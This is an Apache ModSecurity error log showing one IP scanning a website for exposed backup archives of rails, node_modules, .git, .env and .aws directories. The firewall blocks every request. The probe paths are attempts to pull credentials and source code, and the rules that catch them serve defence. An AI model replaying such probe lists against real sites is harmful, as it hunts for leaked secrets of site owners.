[Fri May 15 10:01:43.433363 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:58054] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.sql"] [unique_id "agZ-hwe36qIGegR4kcmBqgAAAEw"]
[Fri May 15 10:01:44.385565 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:58060] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.zip"] [unique_id "agZ-iN72N9CbeiqcqgPVZQAAAUU"]
[Fri May 15 10:01:45.351294 2026] [:error] [pid 50531:tid 50538] [client 34.97.8.90:54688] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.tar.gz"] [unique_id "agZ-iR3WbFwE6voqGzrkZAAAAQU"]
[Fri May 15 10:01:46.330662 2026] [:error] [pid 50531:tid 50541] [client 34.97.8.90:54692] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.tgz"] [unique_id "agZ-ih3WbFwE6voqGzrkZQAAAQg"]
[Fri May 15 10:01:47.261753 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:54708] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.tar"] [unique_id "agZ-iwe36qIGegR4kcmBrAAAAEs"]
[Fri May 15 10:01:48.147811 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:54722] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.tar.bz2"] [unique_id "agZ-jNmMhqLvs0GYixkcJQAAAMM"]
[Fri May 15 10:01:48.991306 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:54736] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.tar.xz"] [unique_id "agZ-jN72N9CbeiqcqgPVbgAAAVA"]
[Fri May 15 10:01:49.777168 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:54738] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.7z"] [unique_id "agZ-jR3WbFwE6voqGzrkZgAAARU"]
[Fri May 15 10:01:50.543826 2026] [:error] [pid 1295:tid 1307] [client 34.97.8.90:54740] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.rar"] [unique_id "agZ-jtmMhqLvs0GYixkcJgAAAMk"]
[Fri May 15 10:01:51.282660 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:54756] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.gz"] [unique_id "agZ-jwe36qIGegR4kcmBrgAAAFU"]
[Fri May 15 10:01:52.014093 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:54758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.bz2"] [unique_id "agZ-kAe36qIGegR4kcmBrwAAAFg"]
[Fri May 15 10:01:52.787134 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:54772] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.zst"] [unique_id "agZ-kB3WbFwE6voqGzrkaQAAARE"]
[Fri May 15 10:01:53.484929 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:54786] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.sql.gz"] [unique_id "agZ-kdmMhqLvs0GYixkcKgAAANY"]
[Fri May 15 10:01:54.223072 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:54788] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.sql.bz2"] [unique_id "agZ-ktmMhqLvs0GYixkcKwAAANU"]
[Fri May 15 10:01:54.932437 2026] [:error] [pid 1295:tid 1302] [client 34.97.8.90:45730] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rails.sql"] [unique_id "agZ-ktmMhqLvs0GYixkcLQAAAMQ"]
[Fri May 15 10:01:55.645193 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:45744] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.zip"] [unique_id "agZ-kwe36qIGegR4kcmBsQAAAFQ"]
[Fri May 15 10:01:56.317673 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:45750] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.tar.gz"] [unique_id "agZ-lB3WbFwE6voqGzrkagAAARM"]
[Fri May 15 10:01:57.053579 2026] [:error] [pid 1190:tid 1269] [client 34.97.8.90:45762] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.tgz"] [unique_id "agZ-ldqiXrD7hne4gFbJxAAAAJE"]
[Fri May 15 10:01:57.765211 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:45774] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.tar"] [unique_id "agZ-lQe36qIGegR4kcmBsgAAAFc"]
[Fri May 15 10:01:58.480621 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:45784] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.tar.bz2"] [unique_id "agZ-ltqiXrD7hne4gFbJxQAAAJc"]
[Fri May 15 10:01:59.241039 2026] [:error] [pid 1188:tid 1198] [client 34.97.8.90:45788] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.tar.xz"] [unique_id "agZ-l9Y68iW8yuNkNzPxEgAAAAE"]
[Fri May 15 10:02:00.001133 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:45804] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.7z"] [unique_id "agZ-mNmMhqLvs0GYixkcMwAAAME"]
[Fri May 15 10:02:00.797911 2026] [:error] [pid 1295:tid 1314] [client 34.97.8.90:45812] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.rar"] [unique_id "agZ-mNmMhqLvs0GYixkcNAAAANA"]
[Fri May 15 10:02:01.581319 2026] [:error] [pid 1295:tid 1300] [client 34.97.8.90:45828] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/node_modules.gz"] [unique_id "agZ-mdmMhqLvs0GYixkcNQAAAMI"]
[Fri May 15 10:02:05.230856 2026] [:error] [pid 1295:tid 1306] [client 34.97.8.90:60862] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/node_modules.sql"] [unique_id "agZ-ndmMhqLvs0GYixkcOAAAAMg"]
[Fri May 15 10:02:10.795082 2026] [:error] [pid 1190:tid 1256] [client 34.97.8.90:60918] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.rar"] [unique_id "agZ-otqiXrD7hne4gFbJzAAAAIQ"]
[Fri May 15 10:02:11.507639 2026] [:error] [pid 1188:tid 1218] [client 34.97.8.90:60924] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.gz"] [unique_id "agZ-o9Y68iW8yuNkNzPxGgAAABU"]
[Fri May 15 10:02:12.200032 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:60928] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.bz2"] [unique_id "agZ-pN72N9CbeiqcqgPVdAAAAUM"]
[Fri May 15 10:02:12.949472 2026] [:error] [pid 1295:tid 1300] [client 34.97.8.90:60930] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.zst"] [unique_id "agZ-pNmMhqLvs0GYixkcQwAAAMI"]
[Fri May 15 10:02:13.674706 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:60942] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.sql.gz"] [unique_id "agZ-pR3WbFwE6voqGzrkcgAAAQc"]
[Fri May 15 10:02:14.364925 2026] [:error] [pid 50531:tid 50541] [client 34.97.8.90:60944] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.sql.bz2"] [unique_id "agZ-ph3WbFwE6voqGzrkdAAAAQg"]
[Fri May 15 10:02:15.086624 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:55066] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.git.sql"] [unique_id "agZ-p9mMhqLvs0GYixkcRQAAAMM"]
[Fri May 15 10:02:15.804085 2026] [:error] [pid 50531:tid 50551] [client 34.97.8.90:55078] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.zip"] [unique_id "agZ-px3WbFwE6voqGzrkeAAAARI"]
[Fri May 15 10:02:16.494001 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:55084] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.tar.gz"] [unique_id "agZ-qNqiXrD7hne4gFbJ0AAAAIY"]
[Fri May 15 10:02:17.238732 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:55098] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.tgz"] [unique_id "agZ-qdqiXrD7hne4gFbJ0gAAAJg"]
[Fri May 15 10:02:17.965873 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:55104] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.tar"] [unique_id "agZ-qQe36qIGegR4kcmBuwAAAEg"]
[Fri May 15 10:02:18.694381 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:55108] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.tar.bz2"] [unique_id "agZ-qh3WbFwE6voqGzrkeQAAARM"]
[Fri May 15 10:02:19.403954 2026] [:error] [pid 1188:tid 1220] [client 34.97.8.90:55122] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.tar.xz"] [unique_id "agZ-q9Y68iW8yuNkNzPxHAAAABc"]
[Fri May 15 10:02:20.104479 2026] [:error] [pid 1295:tid 1313] [client 34.97.8.90:55132] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.7z"] [unique_id "agZ-rNmMhqLvs0GYixkcRgAAAM8"]
[Fri May 15 10:02:20.825882 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:55142] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.rar"] [unique_id "agZ-rN72N9CbeiqcqgPVewAAAUg"]
[Fri May 15 10:02:21.535094 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:55152] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.gz"] [unique_id "agZ-rd72N9CbeiqcqgPVfAAAAVE"]
[Fri May 15 10:02:22.214660 2026] [:error] [pid 50531:tid 50549] [client 34.97.8.90:55154] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bz2"] [unique_id "agZ-rh3WbFwE6voqGzrkegAAARA"]
[Fri May 15 10:02:22.915410 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:55158] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.zst"] [unique_id "agZ-rtmMhqLvs0GYixkcRwAAANU"]
[Fri May 15 10:02:23.586315 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:55168] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sql.gz"] [unique_id "agZ-r972N9CbeiqcqgPVgAAAAVM"]
[Fri May 15 10:02:24.314140 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:55180] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sql.bz2"] [unique_id "agZ-sNmMhqLvs0GYixkcSAAAAMc"]
[Fri May 15 10:02:25.048097 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:36024] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sql"] [unique_id "agZ-sd72N9CbeiqcqgPVgwAAAUM"]
[Fri May 15 10:02:25.776999 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:36028] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.zip"] [unique_id "agZ-sd72N9CbeiqcqgPVhAAAAVg"]
[Fri May 15 10:02:26.453437 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:36036] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.tar.gz"] [unique_id "agZ-stmMhqLvs0GYixkcSQAAANQ"]
[Fri May 15 10:02:27.219765 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:36052] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.tgz"] [unique_id "agZ-s9mMhqLvs0GYixkcSgAAANE"]
[Fri May 15 10:02:28.030953 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:36054] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.tar"] [unique_id "agZ-tAe36qIGegR4kcmBvgAAAFc"]
[Fri May 15 10:02:28.789408 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:36058] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.tar.bz2"] [unique_id "agZ-tN72N9CbeiqcqgPVhQAAAVc"]
[Fri May 15 10:02:29.631615 2026] [:error] [pid 1188:tid 1213] [client 34.97.8.90:36064] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.tar.xz"] [unique_id "agZ-tdY68iW8yuNkNzPxHQAAABA"]
[Fri May 15 10:02:30.362901 2026] [:error] [pid 1190:tid 1262] [client 34.97.8.90:36078] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.7z"] [unique_id "agZ-ttqiXrD7hne4gFbJ1AAAAIo"]
[Fri May 15 10:02:31.120229 2026] [:error] [pid 1190:tid 1256] [client 34.97.8.90:36094] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.rar"] [unique_id "agZ-t9qiXrD7hne4gFbJ1QAAAIQ"]
[Fri May 15 10:02:31.875974 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:36104] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.gz"] [unique_id "agZ-t972N9CbeiqcqgPVhgAAAVQ"]
[Fri May 15 10:02:32.633035 2026] [:error] [pid 1295:tid 1322] [client 34.97.8.90:36110] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws.bz2"] [unique_id "agZ-uNmMhqLvs0GYixkcSwAAANg"]
